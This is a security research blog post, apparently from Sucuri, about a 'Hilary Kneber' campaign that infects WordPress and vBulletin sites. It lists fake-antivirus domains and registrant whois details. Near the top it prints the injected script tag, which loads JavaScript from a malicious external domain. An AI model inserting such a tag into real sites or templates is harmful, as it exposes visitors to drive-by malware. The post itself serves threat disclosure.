Hilary Kneber Strikes Again – welcometotheglobalisnet

It seems that after a few months quiet, the “Hilary Kneber” group is back at it again. Their latest approach is very typical of Hilary Kneber style attacks affecting GoDaddy shared hosts. Basically they modify every PHP file and the database to make sure every page in the infected site is loading malware.

Today, we’ve started to see various WordPress sites infected with the following malware:

<script src "http://welcometotheglobalisnet.com/js.php?kk=25′></script>

Update 1: We are seeing some Vbulletin forums with the database infected. So it is not restricted to WordPress.
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Which infects every post in the WordPress database and also modifies all PHP files to generate the above code. Note that the domain is not blacklisted yet so the risk is very high for everyone visiting an infected site.

What happens when someone clicks an infected site?

What the malware does is very simple, it contacts a few domains:

www3.aboutavsoft.com
www3.first-guardul.cz.cc
www3.first-security-checker.com
www3.incredible-protectionro.rr.nu
www3.netprotectionsoftre.com
www3.save-internet-foru.com
www3.simpleclean-foru.net
www3.smart-security-holder.in
www3.smartsuite-4u.in
www3.top-network-guard.in
www3.top-scan-foru.in
www3.topsuitesentinel.rr.nu
www4.first-internetmaster.net
www4.goodghtsafe.rr.nu
www4.seeeresafe.in
www4.seefredsafe.in
www4.smartinternet-foryou.net
www4.top-only-scanner.uni.cc

That will then try to infect the visitor via their browser (with a fake anti virus). We are still analyzing the infected sites, and we’ll post more details as they’re discovered.

Here is the whois for the group responsible:

Registrant Contact:
HardSoft, inc
Hilary Kneber anatoliy@tom.com
7569468 fax: 7569468
29/2 Sun street. Montey 29
Virginia NA 3947
us

Administrative Contact:
Hilary Kneber anatoliy@tom.com
7569468 fax: 7569468
29/2 Sun street. Montey 29
Virginia NA 3947
us

Technical Contact:
Hilary Kneber anatoliy@tom.com
7569468 fax: 7569468
29/2 Sun street. Montey 29
Virginia NA 3947
us

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About David Dede

David Dede is a Security Researcher in the SucuriLabs group. He spends most of his time dissecting vulnerabilities and security issues. You won't find him on Twitter because he is paranoid about privacy.